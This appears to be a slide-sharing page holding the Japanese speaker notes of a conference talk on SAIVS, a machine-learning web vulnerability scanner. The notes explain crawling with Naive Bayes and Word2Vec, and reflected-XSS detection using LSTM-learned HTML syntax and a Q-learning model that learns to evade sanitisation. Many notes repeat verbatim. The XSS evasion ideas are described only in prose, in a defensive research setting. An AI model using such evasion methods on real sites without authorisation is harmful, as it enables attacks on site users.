ハニーポッター技術交流会
 
サイバーセキュリティ錬金術
サイバーセキュリティ錬金術サイバーセキュリティ錬金術
サイバーセキュリティ錬金術
 
脆弱性診断データの活用例 - Webアプリケーション診断編 -
脆弱性診断データの活用例 - Webアプリケーション診断編 -脆弱性診断データの活用例 - Webアプリケーション診断編 -
脆弱性診断データの活用例 - Webアプリケーション診断編 -
 
RECOMMENDER for Web security engineers - 中級編 -
RECOMMENDER for Web security engineers - 中級編 -RECOMMENDER for Web security engineers - 中級編 -
RECOMMENDER for Web security engineers - 中級編 -
 
RECOMMENDER for Web security engineers - 初級編 -
RECOMMENDER for Web security engineers - 初級編 -RECOMMENDER for Web security engineers - 初級編 -
RECOMMENDER for Web security engineers - 初級編 -
 
Convolutional Neural Networkに対する攻撃手法
Convolutional Neural Networkに対する攻撃手法Convolutional Neural Networkに対する攻撃手法
Convolutional Neural Networkに対する攻撃手法
 
Discussion AIの脆弱性について
Discussion AIの脆弱性についてDiscussion AIの脆弱性について
Discussion AIの脆弱性について
 
機械学習関連情報の収集方法
機械学習関連情報の収集方法機械学習関連情報の収集方法
機械学習関連情報の収集方法
 
introduce "Stealing Machine Learning Models via Prediction APIs"
introduce "Stealing Machine Learning Models  via Prediction APIs"introduce "Stealing Machine Learning Models  via Prediction APIs"
introduce "Stealing Machine Learning Models via Prediction APIs"
 
機械学習を使ったハッキング手法
機械学習を使ったハッキング手法機械学習を使ったハッキング手法
機械学習を使ったハッキング手法
 
ITエンジニアのための機械学習理論入門 第5章
ITエンジニアのための機械学習理論入門 第5章ITエンジニアのための機械学習理論入門 第5章
ITエンジニアのための機械学習理論入門 第5章
 
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
 
AISECjp SAIVS(Spider Artificial Intelligence Vulnerability Scanner)
AISECjp SAIVS(Spider Artificial Intelligence Vulnerability Scanner)AISECjp SAIVS(Spider Artificial Intelligence Vulnerability Scanner)
AISECjp SAIVS(Spider Artificial Intelligence Vulnerability Scanner)
 
Aiにwebアプリ診断をやらせてみる
Aiにwebアプリ診断をやらせてみるAiにwebアプリ診断をやらせてみる
Aiにwebアプリ診断をやらせてみる
 

Pythonと機械学習によるWebセキュリティの自動化

Hinweis der Redaktion

  1. 私は三井物産セキュアディレクションという日本のサイバーセキュリティ会社でセキュリティエンジニアをやっております「タカエス」と申します。 今年の3月にシンガポールで開催されたBlack Hat Asia Arsenalに参加しており、これからお話するSAIVSと呼ぶAIを披露しました
  2. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  3. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  4. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  5. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  6. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  7. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  8. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  9. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  10. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  11. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  12. Webアプリ診断において、クローリングは非常に重要です。 こちらはとあるWebアプリの画面遷移図を表しており、ドクロマークはそのページに脆弱性があることを意味しています。
  13. 例えば、「My page」にある脆弱性を見つけるためには、「Login」を通る必要があります。 すなわち、正しくログインすることが必要になります。
  14. 次に、「Complete」にある脆弱性を見つけるためには、正しく会員登録を行う必要があります。
  15. このように、Webアプリに潜む脆弱性を網羅的に見つける為には、1つ1つのページを正しく遷移することが非常に重要になります。
  16. これを纏めると、機械が正しくクローリングを行うためには、最低限この三つの要件を満たす必要があります。
  17. これを纏めると、機械が正しくクローリングを行うためには、最低限この三つの要件を満たす必要があります。
  18. これを纏めると、機械が正しくクローリングを行うためには、最低限この三つの要件を満たす必要があります。
  19. ナイーブベイズとは、テキスト分類によく使われるアルゴリズムで、「分類カテゴリとキーワードを対応付けたカテゴリテーブル」と確率理論をベースにしています。 利用例として、良く皆さまがご存知のスパムフィルタなどに使用されています。
  20. 少し理解を深めるために、スパムフィルタを例にして説明します。 メール本文から抽出したキーワードを緑丸とすると、各キーワードがSPAM/HAMのカテゴリに属する確率をカテゴリテーブルを基に求めます。 そして、各キーワードの確率の積を求め、メール本文中のキーワード全体としてSPAM/HAMどちらに属する確率が高いのか求めます。 この例ではSPAMの確率が高いため、これらのキーワードを含んだメールはSPAMであると分類されます。
  21. 画面上にある「Sign in」「Email」「Password」といった、ページ種別を特徴付けるキーワードを基に「ログイン」ページであると認識します。 これは、過去に様々なページとその種類を見てきた中で、人間の脳内にキーワードとページ種別を対応付けるデータベースが構築されていることで、容易に認識することができます。 これと同じことを機械で実現するために、
  22. ページのHTMLソースを解析し、ページ種別を特徴付けると思われるキーワードのみを抽出します。 赤字で示した文字列がキーワードとなります。今回は画面上で強調されて表示されるHタグ内の文字列と、フォームの添え字に使われるFORMタグ内の文字列を抽出しています。 なお、ソース上には大量の文字列が含まれており、ページ種別の特徴付けに寄与しない文字列も含まれています。 そのような所謂ストップワードは除外することで、ページ種別認識の精度を高めています。
  23. 各キーワードがどのカテゴリに含まれるのか求めます。 この例では、カテゴリ「ログイン」に最も多くのキーワードが含まれるため、
  24. このページは「ログイン」と認識することができます。 このように、ナイーブベイズを使用することで、シンプルかつ強力にページ種別の認識を実現することができます。
  25. 画面上に現れるメッセージ上の「errors」「doesn’t match」「invalid」などといった、遷移成否を特徴付けるキーワードを基に「遷移に失敗した」と認識します。 勘のいい方は既に気付いたかもしれませんが、これを機械で実現するために、
  26. 遷移試行の前後で差分として現れたメッセージ部分のHTMLソースを解析し、遷移成否を特徴付けると思われるキーワードのみを抽出します。 赤字で示した文字列がキーワードとなります。 ここでもストップワードは除外することで、遷移成否の認識精度を高めています。
  27. 各キーワードがどのカテゴリに含まれるのか求めます。 この例では、カテゴリ「遷移失敗」に最も多くのキーワードが含まれるため、
  28. 「遷移試行に失敗した」と認識することができます。
  29. これを纏めると、機械が正しくクローリングを行うためには、最低限この三つの要件を満たす必要があります。
  30. 人間が画面遷移を行う場合、各フォームの添え字、例えば「Name」「Email」「Password」などの文字列を基に、各フォームに入力する最適な文字を判断します。 人間は過去の経験から、各フォームに適した文字列を即座に求めることができます。 これを機械で実現するために、
  31. こちらが訓練に使用したWebアプリの一例です。 主にOWASP Broken Web Appsに収録されているアプリを使用しています。
  32. これらが、訓練で獲得した、各入力フォームに対する最適な文字列の一例です。 このテーブルがあれば、例えば本番で「FirstName」というフォームに遭遇したとすると、その際は訓練に従って「abcdef」などの文字を入力すれば良いことになります。 これが上手くいけば、たった1回の遷移試行で次のページに正しく遷移することができます。
  33. しかし、ここでまた問題が発生します。 それは、訓練時のフォームの添え字と、本番時のフォームの添え字がマッチしないことが起こり得ます。 人間であれば、「Username」と「Name」が同じものを指していると認識できますが、機械ではどのように実現すれば良いでしょうか?
  34. Word2Vecは自然言語処理の1手法であり、単語同士の類似度を高精度で求めることができます。 以下の例のように、「e-mail」に対し、「email」「mail」「reply」が類似していることを求めることができます。類似度が1に近いほど、類似していることを意味します。
  35. このWord2Vecも事前に学習させなければ、単語間の類似度を求めることはできません。 Word2Vecは、学習データに含まれる、計算対象すなわち注目単語の周辺にある単語を基に、各単語の類似度を求めています。 この例では、赤字で示した注目単語の周辺にある「send」「メアド風文字」「article」などの黒太字の単語に着目することで、「e-mail」「mail」「reply」の類似度は高いと判断します。
  36. 今回は、The 20 Newsgroups data setを学習に使いました。 これは約2万のニュースグループドキュメントが含まれており、様々なカテゴリにジャンル分けされています。 このドキュメントの中に、Webアプリのフォームの添え字に使用されている様々な単語が含まれていたので使用することにしました。
  37. この学習データセットをSAIVSに学習させることで、単語同士の類似度を習得することができます。
  38. これが訓練で獲得した類似単語の一例です。 例えば、「e-mail」に類似する単語は「email」「mail」「address」などになります。 次に「name」に類似する単語は「names」「username」「firstname」などになります。 本研究では、各単語の上位10個類似単語を抽出し、
  39. これが訓練で獲得した類似単語の一例です。 例えば、「e-mail」に類似する単語は「email」「mail」「address」などになります。 次に「name」に類似する単語は「names」「username」「firstname」などになります。 本研究では、各単語の上位10個類似単語を抽出し、
  40. 訓練時と本番時の添え字の不一致問題を解決しています。 一致した候補が保持している入力値をフォームへの入力値とします。 これにより、訓練時と診断時の添え字の不一致問題を解決することができます。
  41. ここで、これまでお話した手法を使用し、実際にWebアプリをクローリングするデモ動画をお見せしたいと思います。 クローリング対象は、OWASP Broken Web AppsのCycloneです。
  42. このWebアプリの画面遷移図はこのようになります。 Login後にある「User Search」に脆弱性が潜んでいます。
  43. 初期状態ではログインアカウントを持っていないため、各ページの種別をナイーブベイズで認識します。 そして、ログインをスキップして最初に会員登録ページでログインアカウントを作成します。
  44. この時、会員登録時の各フォームに、訓練済みのMLPを使用して最適な文字列を入力します。
  45. そして、アカウント作成後にログインし、
  46. 「User Search」ページにクローリングしながら脆弱性を探します。
  47. こちらがデモ動画です。 このように、人間と同じようにWebアプリをクローリングできていることが分かると思います。
  48. これを纏めると、機械が正しくクローリングを行うためには、最低限この三つの要件を満たす必要があります。
  49. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  50. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  51. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  52. 反射型XSSを見つける為には、最低限この三つの要件を満たす必要があります。
  53. 反射型XSSを見つける為には、最低限この三つの要件を満たす必要があります。
  54. 反射型XSSを見つける為には、最低限この三つの要件を満たす必要があります。
  55. LSTMとは、動画や音声・音楽といった時系列データの学習に使われるアルゴリズムです。 また、文章も一つ一つの単語を一つの時間と捉えると、時系列データとして考えることができます。
  56. この特徴を利用して、日英の機械翻訳や文書生成などで利用されています。
  57. これは「Andrej(アンドレイ)」さんと言う方が検証したソースコード生成の例です。 彼はLinuxのソースコードをLSTMに学習させ、LSTMがオリジナルのソースコードを生成できるのか検証を行っています。 左が学習に使用したソースコード、右がLSTMが生成したオリジナルのソースコードです。 これを見ても分かる通り、学習データからソースコードの特徴を学習し、起点となる文字列、ここで「static」を基に次々と後続のコードを生成していることが分かると思います。このソースコードは微妙に構文誤りがあるためそのままコンパイルはできませんが、よくコードの特徴を捉えています。
  58. このようなLSTMの特徴を利用し、HTML・JavaScript構文の理解を試みました。 例えば、パラメータ「in」の値がTEXTAREAタグ内に出力されるとします。
  59. TEXTAREAタグ内に出力されるため、単純にスクリプトを入力しただけではJavaScriptを動作させることはできません。
  60. 人間の診断員であれば、入力値が出力される場所に着目し、「一度TEXTAREAタグを閉じた後にスクリプトを挿入すれば、JavaScriptが動くのでは?」と考えるのが普通です。 これは、HTML構文を理解しているからこそ思いつく考えです。
  61. そこで、このようにTEXTAREAの閉じタグの後にスクリプトを付与した値を入力することで、めでたくJavaScriptを動作させることができます。 このように、様々なXSS脆弱性を見つけるためには、HTML構文の理解が必要です。 また、入力値はJavaScript構文内に出力されることもあるため、同じくJavaScript構文の理解が必要です。
  62. そこで本研究では、無作為に選んだ幾つかのWebサイトをスクレイピングし、約2万ページ分、HTML構文12,000種類のHTMLデータを収集し、学習データとして使うことにしました。 このように、2万ページ分も収集すれば、様々な組み合わせのHTML構文パターンを得ることができます。
  63. JavaScript構文も同様に、約1万ページ分のJavaScript構文を学習データとして使うことにしました。
  64. このように収集したデータをLSTMに学習させることで、文書生成の起点となるシードを与えると、それに対応する適切なHTMLまたはJavaScript構文を自動生成することができます。 TEXTAREAタグにはTEXTAREAの閉じタグを、コメントにはコメント閉じを適切に生成できます。 このようにLSTMを使うことで、
  65. 反射型XSSを見つける為には、最低限この三つの要件を満たす必要があります。
  66. MLPとは、画像や手書き文字の分類に使われるアルゴリズムで、生物の神経回路網をシミュレートしたモデルです。 例えば人間は、タイヤが四つ付いた鉄の塊を見れば、それが「自動車」であると即座に認識することができます。 これは、過去に様々な自動車と言われる画像や映像を見てきたことで、目から入ったタイヤ四つの鉄の塊=自動車、と脳内で信号が伝達されることで即座に判断することができます。 このような神経回路網の働きを模したものがMLPです。
  67. 少し理解を深めるために、手書き数字認識を例にして説明します。MLPで様々な認識を行うためには、事前にMLPの学習を行う必要があります。 この絵の左側は学習データを示しており、学習データは実際に認識を行う画像と、それに対応する答え、ラベルがセットになっています。 この学習データを一つ一つMLPに入力していき、MLPが導き出した答えと、実際のラベルと突合し、誤り即ち差分があればその差分を補正するようにMLPの重みを調整していきます。 この学習行為を大量に行うことで、徐々にMLPの重みが最適化されていき、
  68. 例えば、この左の画像をMLPに与えると、MLPは「これは9です」と正しい答えを導き出すことが可能になります。 これがMLPです。
  69. 次にQ学習です。 Q学習とは、エージェントと呼ばれる行動の主体が、「とある環境下」における最良な行動パターンを学習していくアルゴリズムです。 人間が成功と失敗を繰り返しながら、徐々に成功する行動パターンを学習していくのによく似ています。
  70. 「障害物を避けてゴールする」というタスクを例にしてQ学習を少し詳しく説明します。 Q学習では、現在の状態(s)に対し、エージェントが何らかの行動(a)を取り、次の状態(s’)に変化します。 この時、「元の状態(s)、行動(a)、次の状態(s‘)」の良し悪しを判定し、タスクの目標達成に近づいたら多くの報酬を、遠ざかったら少ない報酬を、穴に落ちたらマイナスの報酬を与えるルールにします。 初期状態ではエージェントは学習していないため、状態(s)すなわち前に穴がある状態でランダムな行動(a)を取ります。例えば左折したとします。 この行動の結果、ゴールに近づいたとしたら多くの報酬を与え、「前に穴がある状態で左折した」という政策の評価値(Q値)を大きく更新します。 Q値は政策の選択確率に影響を与え、Q値が大きい政策が頻繁に選択されるようになります。 このように、初期状態ではランダムに行動を取り、徐々に各政策のQ値を更新していくことで、タスクの終盤では、様々な状態における最良な政策すなわち行動が取れるようになります。 そして、Q学習では、タスク内の一連の行動を通して、報酬の合計が最大化される政策を学習します。 すなわち、目先の利益だけでなく、タスクの達成に寄与する行動を学習することが可能になります。
  71. MLPとQ学習を組み合わせ、「サニタイズ回避」を実現するモデルがこちらになります。 MLPへの入力は「入力値が出力される場所」と「サニタイズの種類」になります。 入力を受け取ったMLPは何らかの「検査パターン」を選択します。 そして、これらの検査パターンを使ってRXSSの検出を試行し、その結果、「RXSSを検出する」というタスクの目標に近づいたか否かQ学習で評価します。 評価の結果、タスク目標の達成に寄与した検査パターンには多くの報酬を与え、この報酬を基にMLPの重みを更新します。 このように、様々な検査試行を繰り返しながらMLPの重みを最適化していくことで、タスクすなわちRXSSを検出できる最適な検査パターンを学習することができます。
  72. 本研究では、代表的なこの5つのパターンを用意しています。 今後、他のパターンも追加していく予定です。
  73. 本研究では、代表的なこの5つのパターンを用意しています。 こちらも、今後他のパターンも追加していく予定です。
  74. MLPとQ学習を組み合わせ、「サニタイズ回避」を実現するモデルがこちらになります。 MLPへの入力は「入力値が出力される場所」と「サニタイズの種類」になります。 入力を受け取ったMLPは何らかの「検査パターン」を選択します。 そして、これらの検査パターンを使ってRXSSの検出を試行し、その結果、「RXSSを検出する」というタスクの目標に近づいたか否かQ学習で評価します。 評価の結果、タスク目標の達成に寄与した検査パターンには多くの報酬を与え、この報酬を基にMLPの重みを更新します。 このように、様々な検査試行を繰り返しながらMLPの重みを最適化していくことで、タスクすなわちRXSSを検出できる最適な検査パターンを学習することができます。
  75. MLPとQ学習を組み合わせ、「サニタイズ回避」を実現するモデルがこちらになります。 MLPへの入力は「入力値が出力される場所」と「サニタイズの種類」になります。 入力を受け取ったMLPは何らかの「検査パターン」を選択します。 そして、これらの検査パターンを使ってRXSSの検出を試行し、その結果、「RXSSを検出する」というタスクの目標に近づいたか否かQ学習で評価します。 評価の結果、タスク目標の達成に寄与した検査パターンには多くの報酬を与え、この報酬を基にMLPの重みを更新します。 このように、様々な検査試行を繰り返しながらMLPの重みを最適化していくことで、タスクすなわちRXSSを検出できる最適な検査パターンを学習することができます。
  76. MLPとQ学習を組み合わせ、「サニタイズ回避」を実現するモデルがこちらになります。 MLPへの入力は「入力値が出力される場所」と「サニタイズの種類」になります。 入力を受け取ったMLPは何らかの「検査パターン」を選択します。 そして、これらの検査パターンを使ってRXSSの検出を試行し、その結果、「RXSSを検出する」というタスクの目標に近づいたか否かQ学習で評価します。 評価の結果、タスク目標の達成に寄与した検査パターンには多くの報酬を与え、この報酬を基にMLPの重みを更新します。 このように、様々な検査試行を繰り返しながらMLPの重みを最適化していくことで、タスクすなわちRXSSを検出できる最適な検査パターンを学習することができます。
  77. MLPとQ学習を組み合わせ、「サニタイズ回避」を実現するモデルがこちらになります。 MLPへの入力は「入力値が出力される場所」と「サニタイズの種類」になります。 入力を受け取ったMLPは何らかの「検査パターン」を選択します。 そして、これらの検査パターンを使ってRXSSの検出を試行し、その結果、「RXSSを検出する」というタスクの目標に近づいたか否かQ学習で評価します。 評価の結果、タスク目標の達成に寄与した検査パターンには多くの報酬を与え、この報酬を基にMLPの重みを更新します。 このように、様々な検査試行を繰り返しながらMLPの重みを最適化していくことで、タスクすなわちRXSSを検出できる最適な検査パターンを学習することができます。
  78. MLPとQ学習を組み合わせ、「サニタイズ回避」を実現するモデルがこちらになります。 MLPへの入力は「入力値が出力される場所」と「サニタイズの種類」になります。 入力を受け取ったMLPは何らかの「検査パターン」を選択します。 そして、これらの検査パターンを使ってRXSSの検出を試行し、その結果、「RXSSを検出する」というタスクの目標に近づいたか否かQ学習で評価します。 評価の結果、タスク目標の達成に寄与した検査パターンには多くの報酬を与え、この報酬を基にMLPの重みを更新します。 このように、様々な検査試行を繰り返しながらMLPの重みを最適化していくことで、タスクすなわちRXSSを検出できる最適な検査パターンを学習することができます。
  79. MLPとQ学習を組み合わせ、「サニタイズ回避」を実現するモデルがこちらになります。 MLPへの入力は「入力値が出力される場所」と「サニタイズの種類」になります。 入力を受け取ったMLPは何らかの「検査パターン」を選択します。 そして、これらの検査パターンを使ってRXSSの検出を試行し、その結果、「RXSSを検出する」というタスクの目標に近づいたか否かQ学習で評価します。 評価の結果、タスク目標の達成に寄与した検査パターンには多くの報酬を与え、この報酬を基にMLPの重みを更新します。 このように、様々な検査試行を繰り返しながらMLPの重みを最適化していくことで、タスクすなわちRXSSを検出できる最適な検査パターンを学習することができます。
  80. MLPとQ学習を組み合わせ、「サニタイズ回避」を実現するモデルがこちらになります。 MLPへの入力は「入力値が出力される場所」と「サニタイズの種類」になります。 入力を受け取ったMLPは何らかの「検査パターン」を選択します。 そして、これらの検査パターンを使ってRXSSの検出を試行し、その結果、「RXSSを検出する」というタスクの目標に近づいたか否かQ学習で評価します。 評価の結果、タスク目標の達成に寄与した検査パターンには多くの報酬を与え、この報酬を基にMLPの重みを更新します。 このように、様々な検査試行を繰り返しながらMLPの重みを最適化していくことで、タスクすなわちRXSSを検出できる最適な検査パターンを学習することができます。
  81. MLPとQ学習を組み合わせ、「サニタイズ回避」を実現するモデルがこちらになります。 MLPへの入力は「入力値が出力される場所」と「サニタイズの種類」になります。 入力を受け取ったMLPは何らかの「検査パターン」を選択します。 そして、これらの検査パターンを使ってRXSSの検出を試行し、その結果、「RXSSを検出する」というタスクの目標に近づいたか否かQ学習で評価します。 評価の結果、タスク目標の達成に寄与した検査パターンには多くの報酬を与え、この報酬を基にMLPの重みを更新します。 このように、様々な検査試行を繰り返しながらMLPの重みを最適化していくことで、タスクすなわちRXSSを検出できる最適な検査パターンを学習することができます。
  82. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  83. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  84. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  85. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  86. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  87. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  88. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  89. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  90. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  91. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  92. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  93. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  94. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  95. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  96. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  97. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  98. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  99. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  100. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  101. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  102. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  103. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  104. 簡単にXSSを説明しますと、例えば超脆弱なアプリがあったとします。 このアプリはパラメータ「input」に入力した文字列が、INPUTタグのVALUE属性内に出力されます。
  105. 反射型XSSを見つける為には、最低限この三つの要件を満たす必要があります。
  106. 最後に、これまで説明したクローリング能力と脆弱性の検出能力を組み合わせ、少し実践的なデモをお見せしたいと思います。 デモで使うアプリはOWASP Broken Web Appsに収録されている「Google Gruyere(グルイエール)」です。
  107. これがGruyereの画面遷移図です。 「New snippet register」と「Profile update」にRXSS脆弱性が潜んでいます。
  108. この脆弱性を見つけるために、まず初めに「Sign Up」でアカウントを作成し、
  109. 作ったアカウントでログインし、
  110. Sinippet登録ページにクローリングしながらRXSS脆弱性の検査を行います。
  111. その後、Profile更新機能にクローリングし、同じくRXSS脆弱性の検査を行います。
  112. それでは、さっそくデモを行いたいと思います。
  113. このように、診断員の思考パターンを一つ一つ洗い出し、それらに機械学習アルゴリズムを当てはめていくことで、人間のような行動を取りながらWebアプリ診断を行える可能性があることが分かりました。 今後は、より複雑なアプリやクローラー防止機能のCAPTCHAを乗り越える機能を付与し、クローリング能力を強化していきたいと考えています。 また、脆弱性の検出については、より複雑なRXSSへの対応や、ロジック系を含む他の脆弱性への対応を行い、脆弱性検出能力を強化していきたいと考えています。 そして、近い将来、SAIVSが人間と同等、もしくは人間をサポートする程の能力を獲得した際には、Webアプリ診断業務に投入していきたいと考えています。
  114. 以上で私のセッションを終了します。 ご清聴、ありがとうございました。